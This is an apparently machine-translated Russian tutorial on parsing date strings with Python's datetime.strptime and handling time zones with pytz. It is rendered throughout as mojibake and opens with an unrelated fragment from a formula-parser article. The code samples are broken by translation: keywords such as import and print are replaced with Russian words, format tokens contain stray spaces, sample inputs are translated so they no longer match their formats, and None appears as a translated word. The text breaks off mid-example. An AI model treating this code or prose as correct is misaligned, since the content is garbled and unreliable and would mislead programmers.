ΠΠ½ΠΎΠ³Π΄Π° Π½Π΅ΠΎΠ±Ρ ΠΎΠ΄ΠΈΠΌΠΎ ΠΈΠΌΠ΅ΡΡ Π² ΡΠΎΡΠΌΡΠ»Π΅ Π½Π΅ΠΊΠΎΡΠΎΡΡΠ΅ ΠΊΠΎΠ½ΡΡΠ°Π½ΡΡ.ΠΠ°ΠΏΡΠΈΠΌΠ΅Ρ, ΠΏΠΎΠ²Π΅ΡΡ ΠΏΡΠ΅Π΄ΡΠ΄ΡΡΠ΅Π³ΠΎ ΠΏΡΠΈΠΌΠ΅ΡΠ° ΠΌΡ ΠΌΠΎΠΆΠ΅ΠΌ ΠΈΠΌΠ΅ΡΡ ΡΠ»Π΅Π΄ΡΡΡΡΡ ΡΠΎΡΠΌΡΠ»Ρ:
(ΡΡΠΌΠΌΠ° (tag1 + (tag2-tag3)) + 10) * (max (tag4) + avg (tag5)) * 0,2
ΠΠ½ΡΡΠΈΡΠΈΡ ΡΡΠΎΠ³ΠΎ ΡΠ°Π³Π° ΠΎΡΠ½ΠΎΡΠΈΡΠ΅Π»ΡΠ½ΠΎ ΠΏΡΠΎΡΡΠ°. ΠΠ°ΠΌ ΠΏΡΠΎΡΡΠΎ Π½ΡΠΆΠ½ΠΎ ΠΏΡΠΎΠ²Π΅ΡΠΈΡΡ, ΡΠ²Π»ΡΠ΅ΡΡΡ Π»ΠΈ ΠΊΠΎΠΌΠΏΠΎΠ½Π΅Π½Ρ ΡΠΈΡΠ»ΠΎΠΌ. ΠΡΠ»ΠΈ Π΄Π°, Π²Π΅ΡΠ½ΠΈΡΠ΅ ΡΡΠΎΡ Π½ΠΎΠΌΠ΅Ρ.
ΠΡΠ΅ ΠΎΠ΄Π½ΠΎ ΡΡΠ»ΠΎΠ²ΠΈΠ΅ Π±ΡΠ΄Π΅Ρ Π΄ΠΎΡΡΠΈΠ³Π°ΡΡ ΡΡΠΎΠ³ΠΎ:
ΠΠ°Π²Π°ΠΉΡΠ΅ ΠΏΡΠΎΠ²Π΅ΡΠΈΠΌ ΡΡΠΎ:
ΠΠ° Π΄Π°Π½Π½ΡΠΉ ΠΌΠΎΠΌΠ΅Π½Ρ ΠΌΡ Π·Π°ΠΊΠΎΠ½ΡΠΈΠ»ΠΈ ΡΠ΅Π°Π»ΠΈΠ·Π°ΡΠΈΡ Π½Π°ΡΠ΅Π³ΠΎ Π°Π½Π°Π»ΠΈΠ·Π°ΡΠΎΡΠ° ΡΠΎΡΠΌΡΠ» Python. ΠΠ΅ΡΡ ΠΊΠΎΠ΄ Π΄ΠΎΡΡΡΠΏΠ΅Π½ Π·Π΄Π΅ΡΡ:
https: // gist.github.com/qiuyujx/fd285e2a2638978ae08f0b5c3eae54ab
ΠΡΠ΅ΠΎΠ±ΡΠ°Π·ΠΎΠ²Π°Π½ΠΈΠ΅ ΡΡΡΠΎΠΊ Π² datetime Π² Python
ΠΠ²Π΅Π΄Π΅Π½ΠΈΠ΅
ΠΠ΄Π½Π° ΠΈΠ· ΠΌΠ½ΠΎΠ³ΠΈΡ ΡΠ°ΡΠΏΡΠΎΡΡΡΠ°Π½Π΅Π½Π½ΡΡ ΠΏΡΠΎΠ±Π»Π΅ΠΌ, Ρ ΠΊΠΎΡΠΎΡΡΠΌΠΈ ΠΌΡ ΡΡΠ°Π»ΠΊΠΈΠ²Π°Π΅ΠΌΡΡ ΠΏΡΠΈ ΡΠ°Π·ΡΠ°Π±ΠΎΡΠΊΠ΅ ΠΏΡΠΎΠ³ΡΠ°ΠΌΠΌΠ½ΠΎΠ³ΠΎ ΠΎΠ±Π΅ΡΠΏΠ΅ΡΠ΅Π½ΠΈΡ, - ΡΡΠΎ ΠΎΠ±ΡΠ°Π±ΠΎΡΠΊΠ° Π΄Π°ΡΡ ΠΈ Π²ΡΠ΅ΠΌΠ΅Π½ΠΈ. ΠΠ°ΠΏΡΠΈΠΌΠ΅Ρ, ΠΏΠΎΡΠ»Π΅ ΠΏΠΎΠ»ΡΡΠ΅Π½ΠΈΡ ΡΡΡΠΎΠΊΠΈ Π΄Π°ΡΡ ΠΈ Π²ΡΠ΅ΠΌΠ΅Π½ΠΈ ΠΈΠ· API Π½Π°ΠΌ Π½Π΅ΠΎΠ±Ρ ΠΎΠ΄ΠΈΠΌΠΎ ΠΏΡΠ΅ΠΎΠ±ΡΠ°Π·ΠΎΠ²Π°ΡΡ Π΅Π΅ Π² ΡΠ΄ΠΎΠ±ΠΎΡΠΈΡΠ°Π΅ΠΌΡΠΉ ΡΠΎΡΠΌΠ°Ρ. ΠΠΏΡΡΡ ΠΆΠ΅, Π΅ΡΠ»ΠΈ ΠΎΠ΄ΠΈΠ½ ΠΈ ΡΠΎΡ ΠΆΠ΅ API ΠΈΡΠΏΠΎΠ»ΡΠ·ΡΠ΅ΡΡΡ Π² ΡΠ°Π·Π½ΡΡ ΡΠ°ΡΠΎΠ²ΡΡ ΠΏΠΎΡΡΠ°Ρ , ΠΏΡΠ΅ΠΎΠ±ΡΠ°Π·ΠΎΠ²Π°Π½ΠΈΠ΅ Π±ΡΠ΄Π΅Ρ Π΄ΡΡΠ³ΠΈΠΌ. Π₯ΠΎΡΠΎΡΠ°Ρ Π±ΠΈΠ±Π»ΠΈΠΎΡΠ΅ΠΊΠ° Π΄Π°ΡΡ ΠΈ Π²ΡΠ΅ΠΌΠ΅Π½ΠΈ Π΄ΠΎΠ»ΠΆΠ½Π° ΠΏΡΠ΅ΠΎΠ±ΡΠ°Π·ΠΎΠ²ΡΠ²Π°ΡΡ Π²ΡΠ΅ΠΌΡ Π² ΡΠΎΠΎΡΠ²Π΅ΡΡΡΠ²ΠΈΠΈ Ρ ΡΠ°ΡΠΎΠ²ΡΠΌ ΠΏΠΎΡΡΠΎΠΌ.ΠΡΠΎ Π»ΠΈΡΡ ΠΎΠ΄ΠΈΠ½ ΠΈΠ· ΠΌΠ½ΠΎΠ³ΠΈΡ Π½ΡΠ°Π½ΡΠΎΠ², ΠΊΠΎΡΠΎΡΡΠ΅ Π½Π΅ΠΎΠ±Ρ ΠΎΠ΄ΠΈΠΌΠΎ ΡΡΠΈΡΡΠ²Π°ΡΡ ΠΏΡΠΈ ΡΠ°Π±ΠΎΡΠ΅ Ρ Π΄Π°ΡΠ°ΠΌΠΈ ΠΈ Π²ΡΠ΅ΠΌΠ΅Π½Π΅ΠΌ.
Π ΡΡΠ°ΡΡΡΡ, Python ΠΏΠΎΡΡΠ°Π²Π»ΡΠ΅ΡΡΡ ΡΠΎ Π²ΡΡΡΠΎΠ΅Π½Π½ΡΠΌ ΠΌΠΎΠ΄ΡΠ»Π΅ΠΌ datetime
Π΄Π»Ρ ΡΠ°Π±ΠΎΡΡ Ρ Π΄Π°ΡΠΎΠΉ ΠΈ Π²ΡΠ΅ΠΌΠ΅Π½Π΅ΠΌ. ΠΠ°ΠΊ Π²Ρ, Π½Π°Π²Π΅ΡΠ½ΠΎΠ΅, Π΄ΠΎΠ³Π°Π΄Π°Π»ΠΈΡΡ, Π² Π½Π΅ΠΌ Π΅ΡΡΡ ΡΠ°Π·Π»ΠΈΡΠ½ΡΠ΅ ΡΡΠ½ΠΊΡΠΈΠΈ Π΄Π»Ρ ΡΠΏΡΠ°Π²Π»Π΅Π½ΠΈΡ Π΄Π°ΡΠΎΠΉ ΠΈ Π²ΡΠ΅ΠΌΠ΅Π½Π΅ΠΌ. ΠΡΠΏΠΎΠ»ΡΠ·ΡΡ ΡΡΠΎΡ ΠΌΠΎΠ΄ΡΠ»Ρ, ΠΌΡ ΠΌΠΎΠΆΠ΅ΠΌ Π»Π΅Π³ΠΊΠΎ ΠΏΡΠΎΠ°Π½Π°Π»ΠΈΠ·ΠΈΡΠΎΠ²Π°ΡΡ Π»ΡΠ±ΡΡ ΡΡΡΠΎΠΊΡ Π΄Π°ΡΡ ΠΈ Π²ΡΠ΅ΠΌΠ΅Π½ΠΈ ΠΈ ΠΏΡΠ΅ΠΎΠ±ΡΠ°Π·ΠΎΠ²Π°ΡΡ Π΅Π΅ Π² ΠΎΠ±ΡΠ΅ΠΊΡ datetime
.
ΠΡΠ΅ΠΎΠ±ΡΠ°Π·ΠΎΠ²Π°Π½ΠΈΠ΅ ΡΡΡΠΎΠΊ Ρ ΠΈΡΠΏΠΎΠ»ΡΠ·ΠΎΠ²Π°Π½ΠΈΠ΅ΠΌ datetime
ΠΠΎΠ΄ΡΠ»Ρ datetime ΡΠΎΡΡΠΎΠΈΡ ΠΈΠ· ΡΡΠ΅Ρ
ΡΠ°Π·Π½ΡΡ
ΡΠΈΠΏΠΎΠ² ΠΎΠ±ΡΠ΅ΠΊΡΠΎΠ²: date
, time
ΠΈ datetime
.ΠΡΠ΅Π²ΠΈΠ΄Π½ΠΎ, ΡΡΠΎ ΠΎΠ±ΡΠ΅ΠΊΡ date
ΡΠΎΠ΄Π΅ΡΠΆΠΈΡ Π΄Π°ΡΡ, time
- Π²ΡΠ΅ΠΌΡ, Π° datetime
- Π΄Π°ΡΡ ΠΈ Π²ΡΠ΅ΠΌΡ.
ΠΠ°ΠΏΡΠΈΠΌΠ΅Ρ, ΡΠ»Π΅Π΄ΡΡΡΠΈΠΉ ΠΊΠΎΠ΄ Π½Π°ΠΏΠ΅ΡΠ°ΡΠ°Π΅Ρ ΡΠ΅ΠΊΡΡΡΡ Π΄Π°ΡΡ ΠΈ Π²ΡΠ΅ΠΌΡ:
Π΄Π°ΡΠ° ΠΈ Π²ΡΠ΅ΠΌΡ ΠΈΠΌΠΏΠΎΡΡΠ°
print ('Π’Π΅ΠΊΡΡΠ°Ρ Π΄Π°ΡΠ° / Π²ΡΠ΅ΠΌΡ: {}'. ΡΠΎΡΠΌΠ°Ρ (datetime.datetime.now ()))
ΠΠ°ΠΏΡΡΠΊ ΡΡΠΎΠ³ΠΎ ΠΊΠΎΠ΄Π° Π½Π°ΠΏΠ΅ΡΠ°ΡΠ°Π΅Ρ ΡΡΠΎ-ΡΠΎ Π²ΡΠΎΠ΄Π΅ ΡΡΠΎΠ³ΠΎ:
$ python3 datetime-print-1.py
Π’Π΅ΠΊΡΡΠ°Ρ Π΄Π°ΡΠ° / Π²ΡΠ΅ΠΌΡ: 2018-06-29 08: 15: 27.243860
ΠΡΠ»ΠΈ ΠΏΠΎΠ»ΡΠ·ΠΎΠ²Π°ΡΠ΅Π»ΡΡΠΊΠΎΠ΅ ΡΠΎΡΠΌΠ°ΡΠΈΡΠΎΠ²Π°Π½ΠΈΠ΅ Π½Π΅ Π·Π°Π΄Π°Π½ΠΎ, ΠΈΡΠΏΠΎΠ»ΡΠ·ΡΠ΅ΡΡΡ ΡΡΡΠΎΠΊΠΎΠ²ΡΠΉ ΡΠΎΡΠΌΠ°Ρ ΠΏΠΎ ΡΠΌΠΎΠ»ΡΠ°Π½ΠΈΡ, Ρ.Π΅.Π΅. ΡΠΎΡΠΌΠ°Ρ Β«2018-06-29 08: 15: 27.243860Β» ΡΠΎΠΎΡΠ²Π΅ΡΡΡΠ²ΡΠ΅Ρ ΡΠΎΡΠΌΠ°ΡΡ ISO 8601 (ΠΠΠΠ-ΠΠ-ΠΠΠ’Π§Π§: ΠΠ: Π‘Π‘.ΠΌΠΌΠΌΠΌΠΌΠΌ). ΠΡΠ»ΠΈ Π½Π°ΡΠ° Π²Ρ
ΠΎΠ΄Π½Π°Ρ ΡΡΡΠΎΠΊΠ° Π΄Π»Ρ ΡΠΎΠ·Π΄Π°Π½ΠΈΡ ΠΎΠ±ΡΠ΅ΠΊΡΠ° datetime
ΠΈΠΌΠ΅Π΅Ρ ΡΠΎΡ ΠΆΠ΅ ΡΠΎΡΠΌΠ°Ρ ISO 8601, ΠΌΡ ΠΌΠΎΠΆΠ΅ΠΌ Π»Π΅Π³ΠΊΠΎ ΠΏΡΠ΅ΠΎΠ±ΡΠ°Π·ΠΎΠ²Π°ΡΡ Π΅Π΅ Π² ΠΎΠ±ΡΠ΅ΠΊΡ datetime
.
ΠΠ°Π²Π°ΠΉΡΠ΅ ΠΏΠΎΡΠΌΠΎΡΡΠΈΠΌ Π½Π° ΠΊΠΎΠ΄ Π½ΠΈΠΆΠ΅:
Π΄Π°ΡΠ° ΠΈ Π²ΡΠ΅ΠΌΡ ΠΈΠΌΠΏΠΎΡΡΠ°
date_time_str = '2018-06-29 08:15: 27.243860'
date_time_obj = datetime.datetime.strptime (date_time_str, '% Y-% m-% d% H:% M:% S.% f')
print ('ΠΠ°ΡΠ°:', date_time_obj.date ())
print ('ΠΡΠ΅ΠΌΡ:', date_time_obj.Π²ΡΠ΅ΠΌΡ())
print ('ΠΠ°ΡΠ°-Π²ΡΠ΅ΠΌΡ:', date_time_obj)
ΠΡΠΈ Π·Π°ΠΏΡΡΠΊΠ΅ ΠΎΠ½ Π½Π°ΠΏΠ΅ΡΠ°ΡΠ°Π΅Ρ Π΄Π°ΡΡ, Π²ΡΠ΅ΠΌΡ ΠΈ Π΄Π°ΡΡ-Π²ΡΠ΅ΠΌΡ:
$ python3 datetime-print-2.py
ΠΠ°ΡΠ°: 2018-06-29
ΠΡΠ΅ΠΌΡ: 08: 15: 27.243860
ΠΠ°ΡΠ°-Π²ΡΠ΅ΠΌΡ: 2018-06-29 08: 15: 27.243860
Π ΡΡΠΎΠΌ ΠΏΡΠΈΠΌΠ΅ΡΠ΅ ΠΌΡ ΠΈΡΠΏΠΎΠ»ΡΠ·ΡΠ΅ΠΌ Π½ΠΎΠ²ΡΠΉ ΠΌΠ΅ΡΠΎΠ΄ Ρ ΠΈΠΌΠ΅Π½Π΅ΠΌ strptime
. ΠΡΠΎΡ ΠΌΠ΅ΡΠΎΠ΄ ΠΏΡΠΈΠ½ΠΈΠΌΠ°Π΅Ρ Π΄Π²Π° Π°ΡΠ³ΡΠΌΠ΅Π½ΡΠ°: ΠΏΠ΅ΡΠ²ΡΠΉ - ΡΡΠΎ ΡΡΡΠΎΠΊΠΎΠ²ΠΎΠ΅ ΠΏΡΠ΅Π΄ΡΡΠ°Π²Π»Π΅Π½ΠΈΠ΅ Π΄Π°ΡΡ ΠΈ Π²ΡΠ΅ΠΌΠ΅Π½ΠΈ, Π° Π²ΡΠΎΡΠΎΠΉ - ΡΠΎΡΠΌΠ°Ρ Π²Ρ
ΠΎΠ΄Π½ΠΎΠΉ ΡΡΡΠΎΠΊΠΈ. Π£ΠΊΠ°Π·Π°Π½ΠΈΠ΅ ΡΠ°ΠΊΠΎΠ³ΠΎ ΡΠΎΡΠΌΠ°ΡΠ° Π·Π½Π°ΡΠΈΡΠ΅Π»ΡΠ½ΠΎ ΡΡΠΊΠΎΡΡΠ΅Ρ ΡΠΈΠ½ΡΠ°ΠΊΡΠΈΡΠ΅ΡΠΊΠΈΠΉ Π°Π½Π°Π»ΠΈΠ·, ΠΏΠΎΡΠΊΠΎΠ»ΡΠΊΡ datetime
Π½Π΅ Π½ΡΠΆΠ½ΠΎ ΠΏΡΡΠ°ΡΡΡΡ ΠΈΠ½ΡΠ΅ΡΠΏΡΠ΅ΡΠΈΡΠΎΠ²Π°ΡΡ ΡΠΎΡΠΌΠ°Ρ ΡΠ°ΠΌΠΎΡΡΠΎΡΡΠ΅Π»ΡΠ½ΠΎ, ΡΡΠΎ Π½Π°ΠΌΠ½ΠΎΠ³ΠΎ Π΄ΠΎΡΠΎΠΆΠ΅ Π² Π²ΡΡΠΈΡΠ»ΠΈΡΠ΅Π»ΡΠ½ΠΎΠΌ ΠΎΡΠ½ΠΎΡΠ΅Π½ΠΈΠΈ.ΠΠΎΠ·Π²ΡΠ°ΡΠ°Π΅ΠΌΠΎΠ΅ Π·Π½Π°ΡΠ΅Π½ΠΈΠ΅ ΠΈΠΌΠ΅Π΅Ρ ΡΠΈΠΏ datetime
.
Π Π½Π°ΡΠ΅ΠΌ ΠΏΡΠΈΠΌΠ΅ΡΠ΅ "2018-06-29 08:15: 27.243860"
- ΡΡΠΎ Π²Ρ
ΠΎΠ΄Π½Π°Ρ ΡΡΡΠΎΠΊΠ°, Π° "% Y-% m-% d% H:% M:% S.% f"
- ΡΡΠΎ ΡΠΎΡΠΌΠ°Ρ. Π½Π°ΡΠ΅ΠΉ ΡΡΡΠΎΠΊΠΈ Π΄Π°ΡΡ. ΠΠΎΠ·Π²ΡΠ°ΡΠ΅Π½Π½ΠΎΠ΅ Π·Π½Π°ΡΠ΅Π½ΠΈΠ΅ datetime
ΡΠΎΡ
ΡΠ°Π½ΡΠ΅ΡΡΡ Π² ΠΏΠ΅ΡΠ΅ΠΌΠ΅Π½Π½ΠΎΠΉ date_time_obj
. ΠΠΎΡΠΊΠΎΠ»ΡΠΊΡ ΡΡΠΎ ΠΎΠ±ΡΠ΅ΠΊΡ datetime
, ΠΌΡ ΠΌΠΎΠΆΠ΅ΠΌ Π²ΡΠ·ΡΠ²Π°ΡΡ ΠΌΠ΅ΡΠΎΠ΄Ρ date ()
ΠΈ time ()
Π½Π΅ΠΏΠΎΡΡΠ΅Π΄ΡΡΠ²Π΅Π½Π½ΠΎ Π½Π° Π½Π΅ΠΌ. ΠΠ°ΠΊ Π²ΠΈΠ΄Π½ΠΎ ΠΈΠ· Π²ΡΡ
ΠΎΠ΄Π½ΡΡ
Π΄Π°Π½Π½ΡΡ
, ΠΎΠ½ ΠΏΠ΅ΡΠ°ΡΠ°Π΅Ρ ΡΠ°ΡΡΡ Β«Π΄Π°ΡΠ°Β» ΠΈ Β«Π²ΡΠ΅ΠΌΡΒ» Π²Ρ
ΠΎΠ΄Π½ΠΎΠΉ ΡΡΡΠΎΠΊΠΈ.
ΠΠ°ΠΌ ΠΌΠΎΠΆΠ΅Ρ Π±ΡΡΡ ΠΈΠ½ΡΠ΅ΡΠ΅ΡΠ½ΠΎ, ΡΡΠΎ ΠΎΠ·Π½Π°ΡΠ°Π΅Ρ ΡΠΎΡΠΌΠ°Ρ "% Y-% m-% d% H:% M:% S.% f"
. ΠΠ½ΠΈ ΠΈΠ·Π²Π΅ΡΡΠ½Ρ ΠΊΠ°ΠΊ ΡΠΎΠΊΠ΅Π½Ρ ΡΠΎΡΠΌΠ°ΡΠ° . ΠΠ°ΠΆΠ΄ΡΠΉ ΡΠΎΠΊΠ΅Π½ ΠΏΡΠ΅Π΄ΡΡΠ°Π²Π»ΡΠ΅Ρ ΡΠΎΠ±ΠΎΠΉ ΠΎΡΠ΄Π΅Π»ΡΠ½ΡΡ ΡΠ°ΡΡΡ Π΄Π°ΡΡ ΠΈ Π²ΡΠ΅ΠΌΠ΅Π½ΠΈ, Π½Π°ΠΏΡΠΈΠΌΠ΅Ρ Π΄Π΅Π½Ρ, ΠΌΠ΅ΡΡΡ, Π³ΠΎΠ΄ ΠΈ Ρ. Π. ΠΠ·Π½Π°ΠΊΠΎΠΌΡΡΠ΅ΡΡ Ρ Π΄ΠΎΠΊΡΠΌΠ΅Π½ΡΠ°ΡΠΈΠ΅ΠΉ strptime, ΡΡΠΎΠ±Ρ Π½Π°ΠΉΡΠΈ ΡΠΏΠΈΡΠΎΠΊ Π²ΡΠ΅Ρ
ΡΠ°Π·Π»ΠΈΡΠ½ΡΡ
ΡΠΈΠΏΠΎΠ² ΠΊΠΎΠ΄Π° ΡΠΎΡΠΌΠ°ΡΠ°, ΠΏΠΎΠ΄Π΄Π΅ΡΠΆΠΈΠ²Π°Π΅ΠΌΡΡ
Π² Python. ΠΠ»Ρ Π±ΡΡΡΡΠΎΠ³ΠΎ ΠΎΠ·Π½Π°ΠΊΠΎΠΌΠ»Π΅Π½ΠΈΡ Π²ΠΎΡ ΡΡΠΎ ΠΌΡ ΠΈΡΠΏΠΎΠ»ΡΠ·ΡΠ΅ΠΌ Π² ΠΏΡΠΈΠ²Π΅Π΄Π΅Π½Π½ΠΎΠΌ Π²ΡΡΠ΅ ΠΊΠΎΠ΄Π΅:
-
% Y
: ΠΠΎΠ΄ (4 ΡΠΈΡΡΡ) -
% m
: ΠΠ΅ΡΡΡ -
% d
: ΠΠ΅Π½Ρ ΠΌΠ΅ΡΡΡΠ° -
% H
: Π§Π°Ρ (24 ΡΠ°ΡΠ°) -
% M
: ΠΠΈΠ½ΡΡΡ -
% S
: ΡΠ΅ΠΊΡΠ½Π΄Ρ -
% f
: ΠΌΠΈΠΊΡΠΎΡΠ΅ΠΊΡΠ½Π΄Ρ
ΠΠΆΠΈΠ΄Π°Π΅ΡΡΡ, ΡΡΠΎ Π²ΡΠ΅ ΡΡΠΈ ΡΠΎΠΊΠ΅Π½Ρ, ΠΊΡΠΎΠΌΠ΅ Π³ΠΎΠ΄Π°, Π±ΡΠ΄ΡΡ Π΄ΠΎΠΏΠΎΠ»Π½Π΅Π½Ρ Π½ΡΠ»ΡΠΌΠΈ.
ΠΡΠ°ΠΊ, Π΅ΡΠ»ΠΈ ΡΠΎΡΠΌΠ°Ρ ΡΡΡΠΎΠΊΠΈ ΠΈΠ·Π²Π΅ΡΡΠ΅Π½, Π΅Π³ΠΎ ΠΌΠΎΠΆΠ½ΠΎ Π»Π΅Π³ΠΊΠΎ ΠΏΡΠΎΠ°Π½Π°Π»ΠΈΠ·ΠΈΡΠΎΠ²Π°ΡΡ Π΄ΠΎ ΠΎΠ±ΡΠ΅ΠΊΡΠ° datetime
, ΠΈΡΠΏΠΎΠ»ΡΠ·ΡΡ strptime
. ΠΡΠΈΠ²Π΅Π΄Ρ Π΅ΡΠ΅ ΠΎΠ΄ΠΈΠ½ Π½Π΅ΡΡΠΈΠ²ΠΈΠ°Π»ΡΠ½ΡΠΉ ΠΏΡΠΈΠΌΠ΅Ρ:
Π΄Π°ΡΠ° ΠΈ Π²ΡΠ΅ΠΌΡ ΠΈΠΌΠΏΠΎΡΡΠ°
date_time_str = '28 ΠΈΡΠ½Ρ 2018 Π³. 7:40'
date_time_obj = datetime.datetime.strptime (date_time_str, '% b% d% Y% I:% M% p')
print ('ΠΠ°ΡΠ°:', date_time_obj.date ())
print ('ΠΡΠ΅ΠΌΡ:', date_time_obj.time ())
print ('ΠΠ°ΡΠ°-Π²ΡΠ΅ΠΌΡ:', date_time_obj)
ΠΠ· ΡΠ»Π΅Π΄ΡΡΡΠ΅Π³ΠΎ Π²ΡΠ²ΠΎΠ΄Π° Π²ΠΈΠ΄Π½ΠΎ, ΡΡΠΎ ΡΡΡΠΎΠΊΠ° Π±ΡΠ»Π° ΡΡΠΏΠ΅ΡΠ½ΠΎ ΠΏΡΠΎΠ°Π½Π°Π»ΠΈΠ·ΠΈΡΠΎΠ²Π°Π½Π°, ΠΏΠΎΡΠΊΠΎΠ»ΡΠΊΡ ΠΎΠ½Π° ΠΏΡΠ°Π²ΠΈΠ»ΡΠ½ΠΎ ΡΠ°ΡΠΏΠ΅ΡΠ°ΡΡΠ²Π°Π΅ΡΡΡ ΠΎΠ±ΡΠ΅ΠΊΡΠΎΠΌ datetime
Π·Π΄Π΅ΡΡ:
$ python3 datetime-print-3.ΡΡ
ΠΠ°ΡΠ°: 2018-06-28
ΠΡΠ΅ΠΌΡ: 07:40:00
ΠΠ°ΡΠ°-Π²ΡΠ΅ΠΌΡ: 2018-06-28 07:40:00
ΠΠΎΡ Π΅ΡΠ΅ Π½Π΅ΡΠΊΠΎΠ»ΡΠΊΠΎ ΠΏΡΠΈΠΌΠ΅ΡΠΎΠ² ΡΠ°ΡΡΠΎ ΠΈΡΠΏΠΎΠ»ΡΠ·ΡΠ΅ΠΌΡΡ ΡΠΎΡΠΌΠ°ΡΠΎΠ² Π²ΡΠ΅ΠΌΠ΅Π½ΠΈ ΠΈ ΡΠΎΠΊΠ΅Π½ΠΎΠ², ΠΈΡΠΏΠΎΠ»ΡΠ·ΡΠ΅ΠΌΡΡ Π΄Π»Ρ ΡΠΈΠ½ΡΠ°ΠΊΡΠΈΡΠ΅ΡΠΊΠΎΠ³ΠΎ Π°Π½Π°Π»ΠΈΠ·Π°:
Β«28 ΠΈΡΠ½Ρ 2018 Π³., 7:40Β» -> Β«% b% d% Y at% I:% M% pΒ»
Β«18 ΡΠ΅Π½ΡΡΠ±ΡΡ 2017 Π³., 22:19:55Β» -> Β«% B% d,% Y,% H:% M:% SΒ»
Β«ΠΡ, 12.05.99, 12: 30PMΒ» -> Β«% a,% d /% m /% y,% I:% M% pΒ»
Β«ΠΠ½, 21 ΠΌΠ°ΡΡΠ°, 2015Β» -> Β«% a,% d% B,% YΒ»
Β«2018-03-12T10: 12: 45ZΒ» -> Β«% Y-% m-% dT% H:% M:% SZΒ»
ΠΡ ΠΌΠΎΠΆΠ΅ΡΠ΅ ΠΏΡΠΎΠ°Π½Π°Π»ΠΈΠ·ΠΈΡΠΎΠ²Π°ΡΡ ΡΡΡΠΎΠΊΡ Π΄Π°ΡΡ ΠΈ Π²ΡΠ΅ΠΌΠ΅Π½ΠΈ Π»ΡΠ±ΠΎΠ³ΠΎ ΡΠΎΡΠΌΠ°ΡΠ°, ΠΈΡΠΏΠΎΠ»ΡΠ·ΡΡ ΡΠ°Π±Π»ΠΈΡΡ, ΡΠΏΠΎΠΌΡΠ½ΡΡΡΡ Π² Π΄ΠΎΠΊΡΠΌΠ΅Π½ΡΠ°ΡΠΈΠΈ strptime.
Π Π°Π±ΠΎΡΠ° Ρ ΡΠ°ΡΠΎΠ²ΡΠΌΠΈ ΠΏΠΎΡΡΠ°ΠΌΠΈ ΠΈ datetime
ΠΠ±ΡΠ°Π±ΠΎΡΠΊΠ° Π΄Π°ΡΡ ΠΈ Π²ΡΠ΅ΠΌΠ΅Π½ΠΈ ΡΡΠ°Π½ΠΎΠ²ΠΈΡΡΡ Π±ΠΎΠ»Π΅Π΅ ΡΠ»ΠΎΠΆΠ½ΠΎΠΉ ΠΏΡΠΈ ΡΠ°Π±ΠΎΡΠ΅ Ρ ΡΠ°ΡΠΎΠ²ΡΠΌΠΈ ΠΏΠΎΡΡΠ°ΠΌΠΈ. ΠΡΠ΅ Π²ΡΡΠ΅ΡΠΏΠΎΠΌΡΠ½ΡΡΡΠ΅ ΠΏΡΠΈΠΌΠ΅ΡΡ, ΠΊΠΎΡΠΎΡΡΠ΅ ΠΌΡ ΠΎΠ±ΡΡΠΆΠ΄Π°Π»ΠΈ, ΡΠ²Π»ΡΡΡΡΡ Π½Π°ΠΈΠ²Π½ΡΠΌΠΈ ΠΎΠ±ΡΠ΅ΠΊΡΠ°ΠΌΠΈ datetime
, Ρ.Π΅. ΡΡΠΈ ΠΎΠ±ΡΠ΅ΠΊΡΡ Π½Π΅ ΡΠΎΠ΄Π΅ΡΠΆΠ°Ρ Π΄Π°Π½Π½ΡΡ
, ΡΠ²ΡΠ·Π°Π½Π½ΡΡ
Ρ ΡΠ°ΡΠΎΠ²ΡΠΌ ΠΏΠΎΡΡΠΎΠΌ. ΠΠ±ΡΠ΅ΠΊΡ datetime
ΠΈΠΌΠ΅Π΅Ρ ΠΎΠ΄Π½Ρ ΠΏΠ΅ΡΠ΅ΠΌΠ΅Π½Π½ΡΡ, ΠΊΠΎΡΠΎΡΠ°Ρ ΡΠΎΠ΄Π΅ΡΠΆΠΈΡ ΠΈΠ½ΡΠΎΡΠΌΠ°ΡΠΈΡ ΠΎ ΡΠ°ΡΠΎΠ²ΠΎΠΌ ΠΏΠΎΡΡΠ΅, tzinfo
.
ΠΈΠΌΠΏΠΎΡΡΠΈΡΠΎΠ²Π°ΡΡ Π΄Π°ΡΡ ΠΈ Π²ΡΠ΅ΠΌΡ ΠΊΠ°ΠΊ dt
dtime = dt.datetime.now ()
ΠΏΠ΅ΡΠ°ΡΡ (dtime)
ΠΏΠ΅ΡΠ°ΡΡ (dtime.tzinfo)
ΠΡΠΎΡ ΠΊΠΎΠ΄ Π½Π°ΠΏΠ΅ΡΠ°ΡΠ°Π΅Ρ:
$ python3 datetime-tzinfo-1.ΡΡ
2018-06-29 22:16: 36.132767
ΠΠΈΠΊΡΠΎ
ΠΡΠ²ΠΎΠ΄ tzinfo
: None
, ΠΏΠΎΡΠΊΠΎΠ»ΡΠΊΡ ΡΡΠΎ Π½Π°ΠΈΠ²Π½ΡΠΉ ΠΎΠ±ΡΠ΅ΠΊΡ datetime
. ΠΠ»Ρ ΠΏΡΠ΅ΠΎΠ±ΡΠ°Π·ΠΎΠ²Π°Π½ΠΈΡ ΡΠ°ΡΠΎΠ²ΡΡ
ΠΏΠΎΡΡΠΎΠ² Π΄Π»Ρ Python Π΄ΠΎΡΡΡΠΏΠ½Π° Π±ΠΈΠ±Π»ΠΈΠΎΡΠ΅ΠΊΠ° pytz
. ΠΡ ΠΌΠΎΠΆΠ΅ΡΠ΅ ΡΡΡΠ°Π½ΠΎΠ²ΠΈΡΡ Π΅Π³ΠΎ, ΠΊΠ°ΠΊ ΠΎΠΏΠΈΡΠ°Π½ΠΎ Π² ΡΡΠΈΡ
ΠΈΠ½ΡΡΡΡΠΊΡΠΈΡΡ
. Π’Π΅ΠΏΠ΅ΡΡ Π΄Π°Π²Π°ΠΉΡΠ΅ Π²ΠΎΡΠΏΠΎΠ»ΡΠ·ΡΠ΅ΠΌΡΡ Π±ΠΈΠ±Π»ΠΈΠΎΡΠ΅ΠΊΠΎΠΉ pytz
, ΡΡΠΎΠ±Ρ ΠΏΡΠ΅ΠΎΠ±ΡΠ°Π·ΠΎΠ²Π°ΡΡ ΡΠΊΠ°Π·Π°Π½Π½ΡΡ Π²ΡΡΠ΅ ΠΌΠ΅ΡΠΊΡ Π²ΡΠ΅ΠΌΠ΅Π½ΠΈ Π² UTC.
ΠΈΠΌΠΏΠΎΡΡΠΈΡΠΎΠ²Π°ΡΡ Π΄Π°ΡΡ ΠΈ Π²ΡΠ΅ΠΌΡ ΠΊΠ°ΠΊ dt
ΠΈΠΌΠΏΠΎΡΡ pytz
dtime = dt.datetime.now (pytz.utc)
